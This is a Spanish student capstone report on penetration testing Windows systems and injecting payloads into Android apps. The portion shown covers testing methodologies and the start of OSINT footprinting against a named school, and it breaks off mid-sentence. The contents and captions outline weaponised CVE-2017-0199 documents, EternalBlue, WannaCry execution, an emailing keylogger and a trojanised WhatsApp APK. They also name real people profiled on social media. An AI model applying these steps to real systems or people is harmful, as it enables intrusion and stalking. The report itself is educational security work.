Proyecto de fin de ciclo formativo de grado superior de administrador de sistemas informáticos en red sobre seguridad informática en y pruebas de penetración en sistemas windows, así como inyección de código malicioso en apps de android. Por Kevin Rodriguez Lago.
3. 2
1 Tabla de contenido
1 Tabla de contenido ....................................................................................................................2
2 Tabla de imágenes .....................................................................................................................6
3 Preámbulo.....................................................................................................................................9
4 Planificación...............................................................................................................................10
5 Objetivo........................................................................................................................................11
6 Metodologías para una buena Penetration Testing....................................................12
6.1 Open Source Security Testing Methodology Manual........................................12
6.1.1 Estándares de testeo seguridad.........................................................................13
6.1.1.1 Ciego.....................................................................................................................14
6.1.1.2 Doble Ciego........................................................................................................14
6.1.1.3 Caja Gris..............................................................................................................14
6.1.1.4 Doble Caja Gris.................................................................................................14
6.1.1.5 Tándem...............................................................................................................14
6.1.1.6 Reversal ..............................................................................................................14
6.1.2 Características clave y beneficios......................................................................14
6.2 Information Systems Security Assessment Framework..................................15
6.2.1 Características clave y beneficios......................................................................16
6.3 Open Web Application Security Project.................................................................17
6.3.1 Características clave y beneficios......................................................................18
6.4 Web Application Security Consortium Threat Classification ........................18
6.4.1 Vista de Enumeración............................................................................................19
6.4.2 Vista de desarrollo ..................................................................................................19
6.4.3 Taxonomy cross-reference view........................................................................20
6.4.4 Características clave y beneficios......................................................................20
6.5 Penetration Testing Execution Standard...............................................................21
6.5.1 Fases de una prueba de penetración................................................................21
4. 3
6.5.1.1 Interacciones previas ....................................................................................21
6.5.1.2 Recolección de información........................................................................22
6.5.1.3 Modelado de amenaza...................................................................................22
6.5.1.4 Análisis de Vulnerabilidades ......................................................................22
6.5.1.5 Explotación........................................................................................................22
6.5.1.6 Post-explotación..............................................................................................22
6.5.1.7 Informe ...............................................................................................................22
7 Pruebas previas.........................................................................................................................23
7.1 FootPrinting......................................................................................................................23
7.1.1 Páginas Blancas / amarillas.................................................................................23
7.1.2 Google y otros buscadores...................................................................................26
7.1.3 Whois............................................................................................................................31
7.1.4 Redes Sociales...........................................................................................................33
7.1.5 NSlookup.....................................................................................................................37
8 Penetration testing en Windows........................................................................................38
8.1 Preparativos......................................................................................................................38
8.2 Modelado de la amenaza..............................................................................................38
8.3 Análisis de Vulnerabilidades y enumeración.......................................................39
8.3.1 Nmap ............................................................................................................................40
8.3.1.1 Evaluación del objetivo.................................................................................40
8.3.1.1.1 Nmap -sV -T4 -O -F –versión-light 10.212.21.116........................41
8.3.1.1.2 Nmap -p 1-65535 -T4 -A -v 10.212.21.116 .....................................42
8.3.1.1.3 Nmap -sN -T5 10.212.21.116................................................................43
8.3.1.1.4 Nmap -v -O -Pn -n 10.212.21.116........................................................44
8.3.1.1.5 Nmap -f -n -P0 -v -p- -T4 10.212.21.116 ..........................................45
8.3.2 Nessus..........................................................................................................................45
8.3.2.1 Evaluación del objetivo.................................................................................46
5. 4
8.3.3 Smbclient ....................................................................................................................50
8.3.3.1 Evaluación del objetivo.................................................................................50
8.3.4 Hping3..........................................................................................................................50
8.3.4.1 Evaluación del objetivo.................................................................................51
8.3.5 DNSenum ....................................................................................................................51
8.3.5.1 Evaluación del objetivo.................................................................................52
8.3.6 PsTools.........................................................................................................................52
8.3.6.1 Evaluación del objetivo.................................................................................52
8.3.6.1.1 Psfile...............................................................................................................53
8.3.6.1.2 PsGetsid.........................................................................................................54
8.3.6.1.3 PsInfo .............................................................................................................54
8.3.6.1.4 PsList..............................................................................................................55
8.3.6.1.5 PsService.......................................................................................................55
8.4 Explotación........................................................................................................................55
8.4.1 Metasploit...................................................................................................................56
8.4.1.1 Edición Metasploit..........................................................................................56
8.4.1.2 Edición Community Metasploit.................................................................56
8.4.1.3 Metasploit express..........................................................................................56
8.4.1.4 Metasploit Pro..................................................................................................57
8.4.1.5 Armitage.............................................................................................................57
8.4.2 Veil.................................................................................................................................57
8.4.3 Prueba de explotación: CVE – 2017-0199......................................................57
8.4.4 EternalBlue y DoublePulsar.................................................................................64
8.5 Post-Explotación.............................................................................................................67
8.5.1 Ransomware Wannacry........................................................................................67
8.5.2 MS16-032....................................................................................................................71
9 Penetration Testing en Linux ..............................................................................................73
6. 5
10 Conclusiones..........................................................................................................................74
11 Bibliografía.............................................................................................................................75
12 Anexos......................................................................................................................................77
12.1 Anexo A: Desarrollo de un Keylogger en C++ ....................................................77
12.1.1 Base64 .....................................................................................................................77
12.1.2 Helper ......................................................................................................................78
12.1.3 IO................................................................................................................................80
12.1.4 KeybHook...............................................................................................................82
12.1.5 KeyConstants ........................................................................................................84
12.1.6 SendMail .................................................................................................................85
12.1.7 Timer........................................................................................................................88
12.2 Anexo B: Inyección de código malicioso en .APK de Android .......................90
12.3 Anexo C: Extraer metadatos de una imagen.........................................................91
7. 6
2 Tabla de imágenes
Imagen 4.1 Tempos ideales estimados......................................................................................10
Imagen 4.2 Tempos reales..............................................................................................................10
Imagen 7.1 Filtros Paginas Amarillas.........................................................................................24
Imagen 7.2 Resultados a la busqueda........................................................................................25
Imagen 7.3 Direccion erronea del resultado...........................................................................26
Imagen 7.4 Busqueda en Google..................................................................................................26
Imagen 7.5 Pagina principal del campus..................................................................................27
Imagen 7.6 Pagina principal del centro.....................................................................................28
Imagen 7.7 Pagina de Facebook...................................................................................................29
Imagen 7.8 Pagina de Twitter.......................................................................................................30
Imagen 7.9 Pagina de Instagram..................................................................................................30
Imagen 7.10 Informacion de contacto del centro..................................................................31
Imagen 7.11 Pagina de Whois.......................................................................................................32
Imagen 7.12 Resultados de busqueda de inslessalines.cat en whois ............................33
Imagen 7.13 Resultado de busqueda de insriberabaixa2.com en whois .....................33
Imagen 7.14 Perfiles de Facebook para Victor Lino.............................................................34
Imagen 7.15 Perfiles de LinkedIn Miguel Angel Noval........................................................35
Imagen 7.16 Perfil de Miguel Angel Noval Giralt...................................................................36
Imagen 7.17 Nuestras sospechas se terminan de confirmar............................................36
Imagen 7.18 Resultados NsLookup ............................................................................................37
Imagen 7.19 Resultados servidores MX NsLookup ..............................................................37
Imagen 8.1 Resultados prueba 1 NMAP....................................................................................41
Imagen 8.2 Resultados prueba 2 NMAP..................................................................................42
Imagen 8.3 Resultado prueba 3 NMAP......................................................................................43
Imagen 8.4 Resultado prueba 4 NMAP......................................................................................44
Imagen 8.5 Resultado prueba 5 NMAP......................................................................................45
Imagen 8.6 Pagina principal Nessus...........................................................................................46
Imagen 8.7 Configuracion del Advanced Scan........................................................................47
Imagen 8.8 Pantalla de estado de los Scans de Nessus .......................................................48
Imagen 8.9 Advanced Scan en funcionamiento......................................................................49
Imagen 8.10 Resultados de la prueba Nessus.........................................................................49
Imagen 8.11 Resultados del Null Session con smbclient....................................................50
8. 7
Imagen 8.12 Resultados de la prueba, haciendo bypass al firewall, con hPing3 ......51
Imagen 8.13 Resultados DNSEnum ............................................................................................52
Imagen 8.14 Prueba PsTools: Psfile............................................................................................53
Imagen 8.15 Prueba PsTools: Psfile64 ......................................................................................53
Imagen 8.16 Prueba PsTools: PsGetsId.....................................................................................54
Imagen 8.17 Prueba PsTools: PsInfo..........................................................................................54
Imagen 8.18 Prueba PsTools: PsList ..........................................................................................55
Imagen 8.19 Prueba PsTools: PsService ...................................................................................55
Imagen 8.20 Creacion del archivo informacion.doc en /var/www/html....................57
Imagen 8.21 Configuracion del payload, el handler y el meterpreter con Veil-
evassion.................................................................................................................................................58
Imagen 8.22 Nombre del payload ...............................................................................................59
Imagen 8.23 Obfuscación del payload .......................................................................................59
Imagen 8.24 Carpetas contenedoras de los payload, handler y meterpreter ............60
Imagen 8.25 Insertamos el objeto...............................................................................................60
Imagen 8.26 Elegimos el documento a insertar.....................................................................61
Imagen 8.27 Guardamos el documento en formato RTF....................................................61
Imagen 8.28 Abrimos el documento RTF con el bloc de notas ........................................62
Imagen 8.29 Buscamos la palabra clave ‘obj’..........................................................................62
Imagen 8.30 Buscamos la palabra clave ‘obj’..........................................................................62
Imagen 8.31 Entre object y objautlink añadimos objupdate.....................................62
Imagen 8.32 Descargamos htattack............................................................................................63
Imagen 8.33 Paramos el servicio apache 2 e iniciamos htattack....................................63
Imagen 8.34 Inicamos el handler para permanecer a la escucha ...................................63
Imagen 8.35 Descargamos el ransomware..............................................................................68
Imagen 8.36 Extraemos el zip y renombramos wannacry.infected por
wannacry.exe.......................................................................................................................................68
Imagen 8.37 Archivos creados por wannacry al ejecutarse..............................................68
Imagen 8.38 Continuan creandose archivos ...........................................................................69
Imagen 8.39 Archivos cifrados por wannacry........................................................................70
Imagen 8.40 Cambio de fondo automatico por wannacry.................................................70
Imagen 8.41 Aviso de peticion de pago de wannacry..........................................................71
Imagen 8.42 Ciframiento de archivos en la carpeta compartida.....................................71
9. 8
Imagen 12.1 Base64 Parte 1..........................................................................................................78
Imagen 12.2 Base64 Parte 2..........................................................................................................78
Imagen 12.3 Helper Parte 1...........................................................................................................79
Imagen 12.4 Helper Parte 2...........................................................................................................80
Imagen 12.5 Helper Parte 3...........................................................................................................80
Imagen 12.6 IO Parte 1 ....................................................................................................................81
Imagen 12.7 IO Parte 2 ....................................................................................................................82
Imagen 12.8 KeybHook Parte 1....................................................................................................83
Imagen 12.9 KeybHook Parte 2...................................................................................................83
Imagen 12.10 KeybHook Parte 3.................................................................................................84
Imagen 12.11 KeybHook Parte 4.................................................................................................84
Imagen 12.12 KeyConstants..........................................................................................................85
Imagen 12.13 SendMail Parte 1 ...................................................................................................86
Imagen 12.14 SendMail Parte 2 ...................................................................................................86
Imagen 12.15 SendMail Parte 3 ...................................................................................................87
Imagen 12.16 SendMail Parte 4 ...................................................................................................87
Imagen 12.17 SendMail Parte 5 ...................................................................................................88
Imagen 12.18 Timer Parte 1..........................................................................................................88
Imagen 12.19 Timer parte 2..........................................................................................................89
Imagen 12.20 Timer Parte 3..........................................................................................................89
Imagen 12.21 Decompilacion de com.whatsapp.apk...........................................................90
Imagen 12.22 Permisos requeridos por el payload..............................................................91
Imagen 12.23 Extractor de metadatos en Python.................................................................92
10. 9
3 Preámbulo
Vivimos llenos de miedos e inquietudes, informáticamente hablando, pues raro es el
día que no oímos hablar de ataques informáticos, virus, troyanos, agujeros de
seguridad, DDoS (por sus siglas en inglés, Distributed Denial of Service). Estos
miedos, nos llevan a usar cientos de sistemas (antivirus, firewall, complementos
para el navegador, políticas de navegación, etc.) que intentan evitar que seamos
victimas de algunos de estos casos. Todos estos miedos tienen una supuesta
explicación, queremos mantener nuestra privacidad, información y seguridad, y la
de nuestros dispositivos, a salvo. Estamos de acuerdo en que proteger nuestra
información, privacidad y seguridad es clave para mantener nuestras empresas, a
nivel colectivo, y nuestras libertades sociales e individuales. Habrá quien se
pregunte, ¿Son necesarios todos estos sistemas para garantizar la seguridad de
nuestra información y nuestra privacidad? ¿Son realmente funcionales dichos
sistemas?
11. 10
4 Planificación
Debido a diversas causas no planificadas y errores inesperados he tenido que
readaptar los tiempos del proyecto a medida que me iban surgiendo dichas cosas.
Gantt Estimado:
Imagen 4.1 Tempos ideales estimados
Gantt Real:
Imagen 4.2 Tempos reales
12. 11
5 Objetivo
Los objetivos de este proyecto son:
- Realizar una prueba de penetración en sistemas Windows para estudiar la
seguridad otorgada por los mismos. La cual constará de las siguientes partes:
• Modelado de Amenaza
• Análisis de Vulnerabilidades y enumeración
• Explotación
• Post-Explotación
- Realizar una prueba de penetración en sistemas Linux virtualizados
13. 12
6 Metodologías para una buena Penetration Testing
Para una buena evaluación de la seguridad de los diferentes sistemas fueron creadas
varias metodologías de código abierto. Usando estas metodologías de evaluación se
pueden cumplir con los plazos críticos de tiempo y desafiar cualquier sistema de
seguridad independientemente de su tamaño o complejidad. Algunas metodologías
se centran en los aspectos técnicos de las pruebas de seguridad mientras que otros
se centran en los criterios gerenciales y unos pocos se centran en ambas cosas. La
idea básica detrás de realizar estas metodologías con las evaluaciones es ejecutar
diferentes tipos de test paso a paso en orden para de manera precisa juzgar la
seguridad de un sistema.
Por lo tanto, se introducirán varias metodologías de evaluación de la seguridad bien
conocidas que nos proporcionarán una visión extendida de las evaluaciones de red
y aplicaciones de seguridad destacando sus principales características y beneficios.
Las metodologías que incluiremos son las siguientes:
• Open Source Security Testing Methodology Manual
• Information System Security Assessment Framework
• Open Web Application Security Project Testing Guide
• Web Application Security Consortium Threat Classification
• Penetration Testing Execution Standard
6.1 Open Source Security Testing Methodology Manual
OSSTMM es un standard con reconocimiento internacional creado por Pete Herzog
y desarrollado por ISECOM para análisis y pruebas de seguridad. Es usado por
diversas organizaciones en sus evaluaciones del día a día. Desde una perspectiva
técnica, esta técnica está dividida en 4 grupos clave: alcance, canal, índice y vector.
El alcance define un proceso de recolecta de información en todos los bienes en el
ambiente objetivo. El canal determina el tipo de comunicación e interacción que
habrá con los bienes los cuales pueden ser físicos, espectros y comunicativos. Todos
estos canales representan un único set de los componentes de seguridad y deben ser
testeados y verificados durante el periodo de evaluación. En estos componentes
estarían comprendidos la seguridad física, la psicología humana, la información de
14. 13
la red los medios de comunicación Wireless y las telecomunicaciones. El índice es
un método para clasificar bienes objetivo que se corresponde con sus particulares
identificaciones como la dirección MAC o la dirección IP. El vector concluye en qué
dirección puede el auditor evaluar y analizar cada bien funcional. Todo el proceso
inicia un mapa de ruta que evalúa el entorno objetivo a fondo y es conocido como
auditoria de alcance.
El marco de referencia provisto en evaluaciones técnicas por OSSTMM es flexible y
capaz de derivar ciertos casos en cinco componentes de seguridad con sus tres
canales consecutivos. Estas pruebas generalmente examinan el objetivo evaluando
sus controles de acceso, procesos de seguridad, controles de información,
localizaciones físicas, protección de los perímetros, el nivel de conciencia de
seguridad, nivel de confianza, control de protección de fraude, y otros
procedimientos. Todos los procedimientos de ensayo ponen el foco en lo que hay
que testear, como ha de ser testeado, que tácticas han de ser aplicadas antes, durante
y después del test y como interpretar y correlacionar los resultados finales. Capturar
el estado actual de la protección del objetivo es muy útil e inestimable. Para poner
solución, la metodología OSSTMM ha introducido el termino RAV (Risk Assessment
Values, por sus siglas en ingles). La función básica del RAV es analizar los resultados
de las pruebas y computar el valor actual de la seguridad basado en tres factores,
seguridad operacional, pérdida de control y limitaciones. El resultado final es
conocido como RAV score. Desde el punto de vista empresarial, el RAV score, ayuda
a optimizar y justificar las inversiones en medidas de seguridad.
6.1.1 Estándares de testeo seguridad
Hay diferentes formas de testear la seguridad que han sido clasificadas bajo la
metodología OSSTMM y sus organizaciones la presentas bajo seis tipos de
estándares de testeo de seguridad:
• Ciego
• Doble Ciego
• Caja gris
• Doble Caja Gris
• Tándem
• Reversal
15. 14
6.1.1.1 Ciego
La prueba ciega no requiere ningún conocimiento previo acerca del objetivo. Sin
embargo, el objetivo es informado antes de la ejecución de una auditoria de alcance.
El Hacking Ético y los juegos de guerra son ejemplos de este tipo de prueba.
6.1.1.2 Doble Ciego
En el Doble Ciego, ningún auditor requiere información previa sobre el objetivo,
pero el objetivo tampoco es informado con anterioridad a la prueba. Las auditorias
de Caja Negra y las pruebas de penetración son ejemplos de Doble Ciego. Al ser la
auditoria que más se acerca a los casos reales, esta es la más usada a día de hoy
porque obliga a usar la mejor variedad de herramientas y técnicas para alcanzar el
objetivo requerido.
6.1.1.3 Caja Gris
Aquí el auditor tiene información limitada acerca del objetivo y el objetivo además
es informado con anterioridad a la ejecución de la prueba. La evaluación de
vulnerabilidades es uno de los ejemplos básicos de Caja Gris.
6.1.1.4 Doble Caja Gris
La Doble Caja Gris es similar a la anterior (Caja Gris) solo que hay un periodo de
tiempo limitado para la auditoria y no hay canales o vectores probados. Las pruebas
de Caja Blanca son un ejemplo de Doble Caja Gris.
6.1.1.5 Tándem
En este estándar, el auditor tiene la mínima información del objetivo y además, el
objetivo es informado con anterior a la ejecución de la prueba.
6.1.1.6 Reversal
Para finalizar, en Reversal, el auditor, tiene toda la información sobre el objetivo,
pero el objetivo no será nunca informado sobre cómo y cuándo se realizará el test.
6.1.2 Características clave y beneficios
• Practicar la metodología OSSTMM ayuda a reducir los casos de falso negativo
y falso positivo y provee mediciones de seguridad reproducibles.
• El marco de referencia es adaptable a diversos tipos de pruebas de
seguridad, como Penetration Testing, auditoria de Caja Blanca, etcétera.
16. 15
• Asegura que la evaluación será llevada a cabo a fondo y resultados recogidos
serán consistentes, cuantificables y de confianza.
• La metodología por sí sola, sigue el proceso de cuatro fases individualmente
conectadas: fase de definición, fase de información, fase de regulación y de
control de pruebas. Cada una de estas, obtiene, evalúa y verifica la
información respecto al entorno objetivo.
• RAV calcula el valor actual de seguridad basado en seguridad operativa,
pérdida de control, y limitaciones. El resultado, conocido como RAV score,
representa el estado actual de la seguridad del objetivo.
• Formalizando la evaluación mediante el uso del modelo de Security Test
Audit Report (STAR) puede ser una ventaja para la gestión, así como de la
gestión del equipo técnico mientras se revisan las pruebas de los objetivos,
el valor de evaluación de los objetivos y el resultado del test de cada fase.
• La metodología es actualizada regularmente con nuevas tendencias de
seguridad, normativas y planteamientos éticos.
• El proceso OSSTMM puede ser coordinado con las regulaciones de la
industria, las políticas empresariales, y las legislaciones gubernamentales.
Adicionalmente, un auditor certificado puede ser elegible para acreditación
desde el ISECOM (Institute for Security and Open Methodologies)
directamente.
6.2 Information Systems Security Assessment Framework
ISSAF es otro marco de referencia de código abierto para el análisis y las pruebas de
seguridad. Integrando este marco en un ciclo de vida empresarial regular, proveerá
precisión, integridad y eficiencia requerida para cumplir con los requisitos de
seguridad de una organización. ISSAF fue desarrollado para centrarse en dos áreas
de testeo de seguridad – técnica y de gestión. La parte técnica establece el conjunto
17. 16
básico de reglas y procedimientos a seguir y crear un adecuado proceso de
evaluación de la seguridad, mientras que el lado de la gestión logra el compromiso
con administración y las mejores prácticas que deben ser seguidas en todo el
proceso de pruebas. ISSAF define la evaluación como un proceso en una auditoria.
Dado que la auditoría exige que un órgano más establecido proclame los estándares
necesarios, su marco de evaluación incluye la planificación, la evaluación, el
tratamiento, acreditación y mantenimiento. Cada una de estas fases contiene
directrices genéricas que son eficaces y flexibles para cualquier estructura
organizativa.
El resultado es una combinación de actividades operativas, iniciativas de seguridad
y una lista completa de vulnerabilidades que podrían existir en el entorno de
destino.
El proceso de evaluación elige el camino más corto para alcanzar el plazo de prueba
analizando su objetivo frente a vulnerabilidades críticas que pueden ser explotadas
con el mínimo esfuerzo.
ISSAF contiene un rico conjunto de bases de referencia de evaluación técnica para
probar el número de diferentes tecnologías y procesos. Sin embargo, esto ha
introducido otro problema de mantenimiento para mantener la actualización del
marco para reflejar criterios de evaluación de tecnología nuevos o actualizados. En
comparación con la metodología OSSTMM, estos problemas de obsolescencia
afectan menos al OSSTMM, ya que el auditor puede utilizar la misma metodología
sobre el número de compromisos de seguridad utilizando un conjunto diferente de
herramientas y técnicas. Por otra parte, la ISSAF también pretende ser un marco
amplio con información actualizada sobre herramientas de seguridad, mejores
prácticas y asuntos administrativos para complementar el programa de evaluación
de seguridad. También se puede alinear con OSSTMM o cualquier otra metodología
de prueba similar, combinando así las fuerzas de cada uno.
6.2.1 Características clave y beneficios
• ISSAF le ofrece una propuesta de alto valor para asegurar la infraestructura
mediante la evaluación de los controles de seguridad existentes contra
vulnerabilidades críticas.
18. 17
• Aborda diferentes áreas clave de la seguridad de la información. Estos
incluyen la evaluación de riesgos, la estructura y gestión empresarial, la
evaluación de controles, la gestión del compromiso, el desarrollo de políticas
de seguridad y las mejores prácticas generales.
• La metodología de pruebas de penetración de ISSAF examina la seguridad de
una red, sistema o aplicación. El marco puede centrarse de forma
transparente en tecnología específica de objetivos que puede incluir routers,
conmutadores, firewalls, sistemas de detección y prevención de intrusos,
redes de área de almacenamiento, redes privadas virtuales, diversos
sistemas operativos, servidores de aplicaciones web, bases de datos, etc.
• Convierte la brecha entre la visión técnica y de gestión de las pruebas de
seguridad mediante la implementación de los controles necesarios para
manejar ambas áreas.
• Permite a la administración entender los riesgos existentes que flotan sobre
las defensas perimetrales de una organización y las reduce de manera
proactiva identificando las vulnerabilidades que pueden afectar la integridad
del negocio.
6.3 Open Web Application Security Project
El proyecto Top 10 de OWASP clasifica los riesgos de seguridad de la aplicación. Los
principales vectores de ataque y debilidades de seguridad en relación con su
impacto en los negocios. Al evaluar la aplicación, cada uno de estos riesgos
demuestra un método de ataque genérico que es independiente de la tecnología o
plataforma que se utiliza. También le proporciona instrucciones específicas sobre
cómo probar, verificar y remediar cada parte vulnerable de una aplicación. El
OWASP top 10 se centra principalmente en las áreas problemáticas de alto riesgo en
lugar de abordar todas las cuestiones que rodean la seguridad de la aplicación web.
19. 18
6.3.1 Características clave y beneficios
• La prueba de las aplicaciones web frente a los 10 principales riesgos de
seguridad de OWASP asegura que se evitan los ataques y debilidades más
comunes y se mantiene la confidencialidad, integridad y disponibilidad de
una aplicación.
• La comunidad OWASP ha desarrollado una serie de herramientas de
seguridad que se centran en las pruebas de aplicaciones web automatizadas
y manuales. Algunas de estas herramientas son WebScarab, Wapiti, JBroFuzz
y SQLiX, que también están disponibles bajo el sistema operativo Kali Linux.
• Al considerar la evaluación de la seguridad de la infraestructura web, la Guía
de Pruebas de OWASP le proporciona detalles de evaluación específicos de la
tecnología; por ejemplo, la prueba de Oracle se aborda de forma diferente a
MySQL. Dicha guía le proporciona una visión más amplia y más colaborativa
de múltiples tecnologías, lo que ayuda a un auditor a elegir el procedimiento
más adecuado para las pruebas.
• Alienta las prácticas de codificación segura para los desarrolladores
mediante la integración de pruebas de seguridad en cada etapa del
desarrollo. Esto asegurará que la aplicación de producción es robusta, libre
de errores y segura.
• Proporciona aceptación y visibilidad en toda la industria. Los diez principales
riesgos de seguridad también pueden alinearse con otros estándares de
evaluación de seguridad de aplicaciones web, lo que le ayuda a lograr más de
un estándar a la vez con un poco más de esfuerzo.
6.4 Web Application Security Consortium Threat Classification
La identificación de los riesgos de seguridad de la aplicación requiere un riguroso y
riguroso procedimiento de prueba, que puede seguirse a lo largo del ciclo de vida
del desarrollo. La clasificación de amenazas WASC es otro estándar abierto para
evaluar la seguridad de las aplicaciones web. Al igual que el estándar OWASP,
también se clasifica en una serie de ataques y debilidades, pero los aborda de una
20. 19
manera mucho más profunda. La práctica de este arte negro para la identificación y
verificación de las amenazas que se ciernen sobre la aplicación web requiere una
terminología estándar que debe seguirse, que puede adaptarse rápidamente al
entorno tecnológico. Aquí es donde el WASC-TC viene en muy práctico. El estándar
general se presenta en tres vistas diferentes para ayudar a los desarrolladores y
auditores de seguridad a comprender la visión de las amenazas de seguridad de
aplicaciones web:
• Vista de Enumeración
• Vista de desarrollo
• Taxonomy cross-reference view
6.4.1 Vista de Enumeración
Esta vista está dedicada a proporcionar la base para ataques y debilidades de
aplicaciones web. Cada uno de estos ataques y debilidades se han discutido
individualmente con su definición concisa, tipo y ejemplos de plataformas de
programación múltiples. Además, está en línea con su identificador único,
que puede ser útil para la referencia. Un total de 49 ataques y debilidades se
clasifican con un número WASC-ID estático (1 a 49). Tenga en cuenta que
esta representación numérica no se centra en la gravedad del riesgo, sino que
sirve al propósito de hacer referencia en su lugar
6.4.2 Vista de desarrollo
La vista de desarrollo lleva el panorama del desarrollador al combinar el
conjunto de ataques y debilidades en vulnerabilidades, que probablemente
se producirán en cualquiera de las tres fases de desarrollo consecutivas. Esto
podría ser una fase de diseño, implementación o despliegue. Las
vulnerabilidades de diseño se introducen cuando los requisitos de la
aplicación no cumplen la seguridad en la etapa inicial de recopilación de
requisitos. Las vulnerabilidades de implementación se producen debido a
principios y prácticas de codificación inseguras. Las vulnerabilidades de
implementación son el resultado de la configuración incorrecta de la
aplicación, del servidor web y de otros sistemas externos. Así, la visión
21. 20
amplía el alcance de su integración en un ciclo de vida de desarrollo regular
como parte de las mejores prácticas.
6.4.3 Taxonomy cross-reference view
Referirse a una vista de referencias cruzadas de múltiples estándares de
seguridad de aplicaciones web puede ayudar a auditores y desarrolladores a
mapear la terminología presentada en un estándar con otro. Con un poco más
de esfuerzo, la misma instalación también puede ayudarle a lograr múltiples
conformidades estándar al mismo tiempo. Sin embargo, el estándar de
seguridad de cada aplicación define criterios propios para evaluar las
aplicaciones desde diferentes ángulos y mide sus riesgos asociados en
general. Por lo tanto, cada norma requiere diferentes esfuerzos para
aumentar el cálculo de los riesgos y sus niveles de gravedad. Los ataques y
debilidades de WASC-TC presentados en esta categoría son mapeados con el
top 10 de OWASP, la Enumeración de Debilidad Común de Mitre (CWE), la
Enumeración y Clasificación de Patrón de Ataque Común de Mitre (CAPEC) y
la lista de top 25 de SANS-CWE.
6.4.4 Características clave y beneficios
• WASC-TC le proporciona un conocimiento profundo para evaluar el entorno
de aplicaciones web frente a los ataques y debilidades más comunes.
• Los ataques y debilidades presentados por WASC-TC pueden usarse para
probar y verificar cualquier plataforma de aplicaciones web usando una
combinación de herramientas del sistema operativo Kali Linux.
• La norma le proporciona tres puntos de vista diferentes, a saber,
enumeración, desarrollo y referencia cruzada. La enumeración sirve como
una base para todos los ataques y debilidades que se encuentran en las
aplicaciones web. La visión de desarrollo combina estos ataques y
debilidades en vulnerabilidades y los categoriza según su ocurrencia en la
fase de desarrollo relativo. Esto podría ser una fase de diseño,
22. 21
implementación o despliegue. La vista de referencias cruzadas sirve para
referenciar otros estándares de seguridad de aplicaciones con WASC-TC.
• WASC-TC ya ha adquirido aceptación a nivel de industria y su integración se
puede encontrar en muchas soluciones de código abierto y comerciales, en
su mayoría en evaluación de vulnerabilidad y productos de gestión.
• También puede alinearse con otros estándares de seguridad de aplicaciones
bien conocidos, como OWASP y SANS-CWE.
6.5 Penetration Testing Execution Standard
El Penetration Testing Execution Standard (PTES) fue creado por algunas de las
mentes más brillantes y expertos definitivos en la industria de pruebas de
penetración. Consiste en siete fases de pruebas de penetración y puede utilizarse
para realizar una prueba de penetración efectiva en cualquier entorno.
6.5.1 Fases de una prueba de penetración
Una prueba de penetración o Pentest se basa en 7 fases y diversas subfases,
dependiendo de la seguridad y las capacidades de penetración del mismo. Las fases
son las siguientes:
1. Interacciones previas
2. Recolección de Información
3. Modelado de amenaza
4. Análisis de vulnerabilidades
5. Explotación
6. Post-Explotación
7. Informe
6.5.1.1 Interacciones previas
Se refiere a la negociación o acuerdo durante la cual se definirán los puntos y la
profundidad a evaluar, las fechas de la evaluación, la Carta Blanca, entre otros.
23. 22
6.5.1.2 Recolección de información
Es aquella en la que el ataque se dedicará a obtener y recopilar toda la información
posible sobre el objetivo. En esta fase se encuentran la subfase de FootPrinting. Aquí
nos encargaremos, por ejemplo, de encontrar información DNS, Whois, RRSS, etc.
También será el lugar donde llevaremos a cabo los ataques de Ingeniería Social.
6.5.1.3 Modelado de amenaza
Se analizan los planes de contingencia, así como el equipo técnico, las instalaciones
(redes, hardware y software), así como las herramientas, exploits y payloads
disponibles para analizar la efectividad de las diversas vías de ataque disponibles.
6.5.1.4 Análisis de Vulnerabilidades
En esta fase, con los datos recogidos en la fase anterior, se buscan las posibles vías y
métodos de ataque, conocidos como FingerPrinting (Scanning y Enumeración) así
como información sobre usuarios, nombres de equipos, etc.
6.5.1.5 Explotación
Ponemos las herramientas a atacar a las vulnerabilidades detectadas para
comprometer el sistema y obtener acceso.
6.5.1.6 Post-explotación
Es aquella donde se persigue obtener acceso al sistema de manera perdurable en el
tiempo de manera que podamos realizar en un tiempo indeterminado el ataque a las
vulnerabilidades detectadas. También es el momento en el que se inyecta código
malicioso (troyanos, Keyloggers, Virus, worms, etc.) en la/s maquina/s objetivo.
6.5.1.7 Informe
Tras la evaluación, con las pruebas recogidas y los test realizados, se procede a
analizar los resultados para dar un veredicto final sobre el estado de la seguridad,
en los ámbitos analizados.
24. 23
7 Pruebas previas
Como, durante nuestras pruebas, los sistemas a analizar no están disponibles en
internet, no son accesibles a las arañas de crawling de los buscadores, no podremos
realizar o buscar información sobre los objetivos más allá de la ya conocida y no
obtendremos toda la información que podríamos obtener de un objetivo de una
empresa, realizaremos esas pruebas suponiendo que el objetivo inicial es el INS
Ribera Baixa Seu II. Se supone, que en un principio, como papel de atacante externo,
del INS Ribera Baixa Seu II / INS Les Salines, sabemos exclusivamente su nombre y
que es un centro de El Prat de Llobregat.
7.1 FootPrinting
Tenemos diversas fórmulas y “ataques” para llevar a cabo la recolección de
información o footprinting. Las más usuales son:
- Páginas Blancas / amarillas
- Google y otros buscadores
- Whois
- Redes Sociales
- Nslookup
Esto nos dará una idea del objetivo, la persona o personas que lo dirigen, las
personas que se encargan de las aplicaciones web, etc.
7.1.1 Páginas Blancas / amarillas
Con esta búsqueda, obtendremos información básica de localización y teléfono.
Como se trata de una institución y/o empresa, en esta ocasión, nos decantaremos
por las Páginas Amarillas, aunque puede que más adelante, nos decantemos también
por las Páginas Blancas.
25. 24
Como podemos observar en las imágenes 6.1 y 6.2, no aparecen resultados para
Ribera Baixa en la provincia de Barcelona. Probaremos a continuación con el
nombre Les Salines.
Imagen 7.1 Filtros Paginas Amarillas
26. 25
Imagen 7.2 Resultados a la busqueda
Nos ha salido un resultado (imagen 6.3) pero todo apunta a que no es lo que estamos
buscando. Así podemos dar por concluida la búsqueda en esta página.
27. 26
Imagen 7.3 Direccion erronea del resultado
7.1.2 Google y otros buscadores
Aquí, nos dedicaremos simplemente a buscar sobre la institución y/o empresa que
representa el INS Ribera Baixa Seu II / INS Les Salines en los diversos buscadores de
internet. Haremos la prueba en los buscadores más populares
Imagen 7.4 Busqueda en Google
El resultado de Google otorga datos bastante interesantes. Por un lado, tenemos la
página del Institut Les Salines, que en su descripción menciona que es el Institut
Ribera Baixa II. Además, aparece la página de un campus virtual de un instituto de
28. 27
mismo nombre al buscado. Analizaremos la web para saber si se trata de nuestro
objetivo o no. También se ve el inicio de un mapa de Google Maps de el Prat de
Llobregat donde aparece marcado nuestro objetivo.
Imagen 7.5 Pagina principal del campus
Si visitamos la página web del campus apenas encontramos información que nos
permita deducir si es o no el centro en el que estábamos interesados, pero si nos
dirigimos a la parte superior de la página y pulsamos donde pone “Obrir Incidencia
